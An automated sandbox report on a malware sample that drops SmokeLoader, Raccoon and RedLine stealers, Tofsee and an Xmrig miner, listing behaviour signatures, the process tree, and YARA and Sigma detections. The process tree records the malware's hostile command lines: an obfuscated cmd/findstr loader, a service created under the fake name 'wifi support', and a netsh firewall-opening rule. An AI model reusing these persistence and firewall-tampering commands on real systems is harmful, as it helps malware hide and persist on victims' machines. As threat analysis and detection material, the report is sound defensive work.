Play interactive tour

Edit tour

Windows Analysis Report DWVByMCYL8.exe

Overview

General Information

Sample Name:	DWVByMCYL8.exe
Analysis ID:	479095
MD5:	743bcc99b15c971e0269cb3376c9ff69
SHA1:	5ea7dcffcda6cdf903fe4de53b753f7db2049e4f
SHA256:	8e3807c621963a9608f0013814df628e2ceb76e5bebb025704e9042994bf5769
Tags:	CoinMinerexe
Infos:
Most interesting Screenshot:

Detection

Raccoon RedLine SmokeLoader Tofsee Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Tries to download HTTP data from a sinkholed server

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Submitted sample is a known malware sample

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

Send many emails (e-Mail Spam)

Sigma detected: Suspicious Svchost Process

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

PE file contains section with special chars

Hides threads from debuggers

Contains functionality to steal Internet Explorer form passwords

Uses ping.exe to check the status of other devices and networks

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Obfuscated command line found

Machine Learning detection for dropped file

Modifies the windows firewall

Tries to resolve many domain names, but no domain seems valid

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality to simulate keystroke presses

Downloads executable code via HTTP

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Contains functionality to retrieve information about pressed keystrokes

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Uses SMTP (mail sending)

Potential key logger detected (key state polling based)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

DWVByMCYL8.exe (PID: 7076 cmdline: 'C:\Users\user\Desktop\DWVByMCYL8.exe' MD5: 743BCC99B15C971E0269CB3376C9FF69)

DWVByMCYL8.exe (PID: 7104 cmdline: 'C:\Users\user\Desktop\DWVByMCYL8.exe' MD5: 743BCC99B15C971E0269CB3376C9FF69)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

C612.exe (PID: 6656 cmdline: C:\Users\user\AppData\Local\Temp\C612.exe MD5: ED7B533D9B8219120357104839B1C960)

C612.exe (PID: 6868 cmdline: C:\Users\user\AppData\Local\Temp\C612.exe MD5: ED7B533D9B8219120357104839B1C960)

D322.exe (PID: 6748 cmdline: C:\Users\user\AppData\Local\Temp\D322.exe MD5: 9D34489B28093F8041A0F396F88507CA)

dllhost.exe (PID: 6844 cmdline: dllhost.exe MD5: 70E2034A1C3D0ECCB73F57E33D4BFFA0)

cmd.exe (PID: 6920 cmdline: cmd /c cmd < Gia.mp3 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6976 cmdline: cmd MD5: F3BDBE3BB6F734E357235F4D5898582D)

findstr.exe (PID: 6740 cmdline: findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3 MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

Versato.exe.com (PID: 6804 cmdline: Versato.exe.com g MD5: C56B5F0201A3B3DE53E561FE76912BFD)

Versato.exe.com (PID: 5892 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com g MD5: C56B5F0201A3B3DE53E561FE76912BFD)

PING.EXE (PID: 6344 cmdline: ping localhost MD5: 70C24A306F768936563ABDADB9CA9108)

55AD.exe (PID: 6788 cmdline: C:\Users\user\AppData\Local\Temp\55AD.exe MD5: F7A7DB5B9D6CB970AEC8C0D44F7F6661)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

6965.exe (PID: 6428 cmdline: C:\Users\user\AppData\Local\Temp\6965.exe MD5: FDCC1593F4E70266CF9E08B2B841CE21)

cmd.exe (PID: 7148 cmdline: 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\zofcwexy\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5988 cmdline: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4640 cmdline: 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support' MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 1668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4488 cmdline: 'C:\Windows\System32\sc.exe' description zofcwexy 'wifi internet conection' MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 7072 cmdline: 'C:\Windows\System32\sc.exe' start zofcwexy MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 1740 cmdline: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 3544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 5244 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Windows\system32\advpack.dll,DelNodeRunDLL32 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\' MD5: 73C519F050C20580F8A62C849D49215A)

75AA.exe (PID: 5692 cmdline: C:\Users\user\AppData\Local\Temp\75AA.exe MD5: B4093FFC5BC8C8B9F7F2475E47645B3A)

WerFault.exe (PID: 6092 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5692 -s 752 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

829C.exe (PID: 4264 cmdline: C:\Users\user\AppData\Local\Temp\829C.exe MD5: 0C55A9859F5C1145D952E168AB7139FB)

98D4.exe (PID: 1172 cmdline: C:\Users\user\AppData\Local\Temp\98D4.exe MD5: 850190B82AC771DFE03EC7DC0448F2CF)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

C082.exe (PID: 3240 cmdline: C:\Users\user\AppData\Local\Temp\C082.exe MD5: 034466D9B273D7F48BB4B207E8D76BB2)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6392 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5388 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5332 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

geedrvu (PID: 3136 cmdline: C:\Users\user\AppData\Roaming\geedrvu MD5: 743BCC99B15C971E0269CB3376C9FF69)

geedrvu (PID: 6640 cmdline: C:\Users\user\AppData\Roaming\geedrvu MD5: 743BCC99B15C971E0269CB3376C9FF69)

svchost.exe (PID: 6420 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6872 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5792 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

krpafaoc.exe (PID: 1572 cmdline: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d'C:\Users\user\AppData\Local\Temp\6965.exe' MD5: 8D7AD8008BAE9593AC01F300C47DC0F7)

svchost.exe (PID: 2972 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000032.00000002.981945926.0000000002820000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000B.00000002.760396326.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000001.665181950.0000000000400000.00000040.00020000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000002D.00000003.816588448.0000000003460000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000033.00000003.853654750.0000000003AB0000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000002D.00000002.820521827.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002E.00000002.981470428.0000000000052000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000003.783113283.0000000000D90000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002D.00000002.822818224.00000000034A0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000033.00000002.981525147.0000000001002000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000001.00000002.711202334.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp	XMRIG_Monero_Miner	Detects Monero mining software	Florian Roth	0xd9cbe:$s2: --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 0xd99d6:$s3: -p, --pass=PASSWORD password for mining server
00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0xdb81d:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume 0xdb108:$s1: [%s] login error code: %d
00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp	MINER_monero_mining_detection	Monero mining software	Christiaan Beek \| McAfee ATR Team	0xd9cbe:$2: --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 0xd9e52:$4: --user-agent set custom user-agent string for pool 0xd995c:$5: -O, --userpass=U:P username:password pair for mining server 0xd9d19:$6: --cpu-priority set process priority (0 idle, 2 normal to 5 highest) 0xd99d6:$7: -p, --pass=PASSWORD password for mining server 0xd9f43:$10: --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75) 0xd9c14:$14: -r, --retries=N number of times to retry before switch to backup server (default: 5) 0xd9e8f:$15: -B, --background run the miner in the background 0xda0be:$17: --api-access-token=T access token for API 0xd9a64:$18: -t, --threads=N number of miner threads 0xda04b:$19: --print-time=N print hashrate report every N seconds 0xd99a0:$20: -u, --user=USERNAME username for mining server
00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000000B.00000001.748020468.0000000000400000.00000040.00020000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
0000002E.00000003.822663468.0000000000CD0000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000002D.00000002.821681408.0000000002C50000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000018.00000002.801390436.0000000002D80000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000018.00000003.779981603.0000000004780000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp	XMRIG_Monero_Miner	Detects Monero mining software	Florian Roth	0xd88be:$s2: --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 0xd85d6:$s3: -p, --pass=PASSWORD password for mining server
00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0xda41d:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume 0xd9d08:$s1: [%s] login error code: %d
00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp	MINER_monero_mining_detection	Monero mining software	Christiaan Beek \| McAfee ATR Team	0xd88be:$2: --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 0xd8a52:$4: --user-agent set custom user-agent string for pool 0xd855c:$5: -O, --userpass=U:P username:password pair for mining server 0xd8919:$6: --cpu-priority set process priority (0 idle, 2 normal to 5 highest) 0xd85d6:$7: -p, --pass=PASSWORD password for mining server 0xd8b43:$10: --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75) 0xd8814:$14: -r, --retries=N number of times to retry before switch to backup server (default: 5) 0xd8a8f:$15: -B, --background run the miner in the background 0xd8cbe:$17: --api-access-token=T access token for API 0xd8664:$18: -t, --threads=N number of miner threads 0xd8c4b:$19: --print-time=N print hashrate report every N seconds 0xd85a0:$20: -u, --user=USERNAME username for mining server
Process Memory Space: 55AD.exe PID: 6788	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 6965.exe PID: 6428	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: 75AA.exe PID: 5692	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: 829C.exe PID: 4264	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 39 entries

Unpacked PEs

Source	Rule	Description	Author
13.2.C612.exe.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
1.1.DWVByMCYL8.exe.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
24.2.6965.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
24.2.6965.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
13.1.C612.exe.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
13.1.C612.exe.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
33.2.829C.exe.47d0e50.1.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.0.75AA.exe.21a0e50.2.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
11.1.geedrvu.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
11.2.geedrvu.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
30.0.75AA.exe.400000.3.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.2.75AA.exe.21a0e50.1.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.0.75AA.exe.21a0e50.4.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.2.6965.exe.2d80e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
33.3.829C.exe.4880000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.0.75AA.exe.21a0e50.4.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
13.2.C612.exe.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
1.2.DWVByMCYL8.exe.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
1.1.DWVByMCYL8.exe.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
24.3.6965.exe.4780000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
11.2.geedrvu.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
1.2.DWVByMCYL8.exe.400000.0.raw.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
33.2.829C.exe.47d0e50.1.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
11.1.geedrvu.400000.0.unpack	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
30.3.75AA.exe.2450000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.2.75AA.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.0.75AA.exe.400000.1.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.2.75AA.exe.21a0e50.1.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.3.75AA.exe.2450000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
33.2.829C.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
33.3.829C.exe.4880000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.0.75AA.exe.21a0e50.2.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
20.2.55AD.exe.df0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 28 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d'C:\Users\user\AppData\Local\Temp\6965.exe', ParentImage: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe, ParentProcessId: 1572, ProcessCommandLine: svchost.exe, ProcessId: 2972

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\, CommandLine: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\6965.exe, ParentImage: C:\Users\user\AppData\Local\Temp\6965.exe, ParentProcessId: 6428, ProcessCommandLine: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\, ProcessId: 5988

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d'C:\Users\user\AppData\Local\Temp\6965.exe', ParentImage: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe, ParentProcessId: 1572, ProcessCommandLine: svchost.exe, ProcessId: 2972

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, CommandLine: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\6965.exe, ParentImage: C:\Users\user\AppData\Local\Temp\6965.exe, ParentProcessId: 6428, ProcessCommandLine: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, ProcessId: 1740

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support', CommandLine: 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support', CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\6965.exe, ParentImage: C:\Users\user\AppData\Local\Temp\6965.exe, ParentProcessId: 6428, ProcessCommandLine: 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support', ProcessId: 4640

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp, type: MEMORY
